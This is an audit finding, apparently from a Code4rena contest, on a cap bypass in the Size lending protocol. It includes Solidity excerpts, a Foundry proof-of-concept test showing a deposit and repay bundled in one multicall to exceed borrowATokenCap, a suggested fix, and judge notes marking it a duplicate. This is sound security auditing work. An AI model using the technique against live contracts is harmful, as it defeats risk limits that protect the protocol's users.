The `borrowATokenCap` can be bypassed

[howlbot-integration[bot]]

Lines of code

https://github.com/code-423n4/2024-06-size/blob/8850e25fb088898e9cf86f9be1c401ad155bea86/src/libraries/actions/Deposit.sol#L81

Vulnerability details

The borrowAtoken have a cap to restrict the amount that can be minted, this can be seen in the state.riskConfig.borrowATokenCap, we can see the check in the executeDeposit Function (see the arrow below):

function executeDeposit(State storage state, DepositParams calldata params) public {
        address from = msg.sender;
        uint256 amount = params.amount;
        ...

        if (params.token == address(state.data.underlyingBorrowToken)) {
            state.depositUnderlyingBorrowTokenToVariablePool(from, params.to, amount);
            // borrow aToken cap is not validated in multicall,
            //   since users must be able to deposit more tokens to repay debt
            if (!state.data.isMulticall) {
                state.validateBorrowATokenCap(); <---------
            }
        } else {
            state.depositUnderlyingCollateralToken(from, params.to, amount);
        }

        emit Events.Deposit(params.token, params.to, amount);
    }

[Link].

Another point to understand the vuln is that the contract is not checking for the cap when the deposit is been made it trough the multicall functions as the comment say borrow aToken cap is not validated in multicall, since users must be able to deposit more tokens to repay debt.

With that been said an attacker can create a BuyCreditOrder limit take his own offer, then repaid and deposit in a multicall tx successfully bypassing the borrow token cap. see Proof of concept.

Impact

An attacker can successfully bypass the borrowATokenCap

Proof of Concept

Run the next PoC in Multicall.t.sol:

 function test_Multicall_multicall_bypassing_cap() public {
        //@note poc (medium 7)
        _setPrice(1e18);
        uint256 amount = 100e6;
        uint256 cap = amount + size.getSwapFee(100e6, 365 days);
        _updateConfig("borrowATokenCap", cap);

        _deposit(alice, usdc, cap);
        _deposit(alice, weth, 200e18);

        _buyCreditLimit(alice, block.timestamp + 365 days, YieldCurveHelper.pointCurve(365 days, 0.1e18));//create a limit order
        uint256 debtPositionId = _sellCreditMarket(alice, alice, RESERVED_ID, cap, 365 days, false);// alice take his own limit order

        _mint(address(usdc), alice, 100e6);
        _approve(alice, address(usdc), address(size), 100e7);

        bytes[] memory data = new bytes[](2);
        data[0] = abi.encodeCall(size.deposit, DepositParams({token: address(usdc), amount: 100e6, to: alice}));
        data[1] = abi.encodeCall(size.repay, RepayParams({debtPositionId: debtPositionId}));

        vm.prank(alice); //alice repay his own position and despoti more usdc
        size.multicall(data);

        uint256 creditId = size.getCreditPositionIdsByDebtPositionId(debtPositionId)[0];
        _claim(alice, creditId); //claiming to get back the borrow token

        Vars memory _after = _state();

        assert(_after.alice.borrowATokenBalance > cap); //alice token borrow balance is more thant the cap
    }

As you can in the assert the borrow balance of alice is major than the cap.

Note that There is an important check in the multicall function (see arrow below):

 function validateBorrowATokenIncreaseLteDebtTokenDecrease(
        State storage state,
        uint256 borrowATokenSupplyBefore,
        uint256 debtTokenSupplyBefore,
        uint256 borrowATokenSupplyAfter,
        uint256 debtTokenSupplyAfter
    ) external view {
        // If the supply is above the cap
        if (borrowATokenSupplyAfter > state.riskConfig.borrowATokenCap) {
            uint256 borrowATokenSupplyIncrease = borrowATokenSupplyAfter > borrowATokenSupplyBefore
                ? borrowATokenSupplyAfter - borrowATokenSupplyBefore
                : 0;
            uint256 debtATokenSupplyDecrease =
                debtTokenSupplyBefore > debtTokenSupplyAfter ? debtTokenSupplyBefore - debtTokenSupplyAfter : 0;

            // and the supply increase is greater than the debt reduction
            if (borrowATokenSupplyIncrease > debtATokenSupplyDecrease) {  <-------
                // revert
                revert Errors.BORROW_ATOKEN_INCREASE_EXCEEDS_DEBT_TOKEN_DECREASE(
                    borrowATokenSupplyIncrease, debtATokenSupplyDecrease
                );
            }
            // otherwise, it means the debt reduction was greater than the inflow of cash: do not revert
        }
        // otherwise, the supply is below the cap: do not revert
    }

This check is been bypassing because the amount been pay in in the repay is equal or major than the amount been deposit. and the call for the borrow token cap is not been made it because the multicall.

Tools Used

Manual, Foundry

Recommended Mitigation Steps

I think that a smart way to avoid this is make a check is the cap is not been exceded at the final of the function.

Assessed type

Other

[c4-judge]

hansfriese marked the issue as duplicate of #144

[c4-judge]

hansfriese marked the issue as satisfactory

[c4-judge]

hansfriese marked the issue as duplicate of #238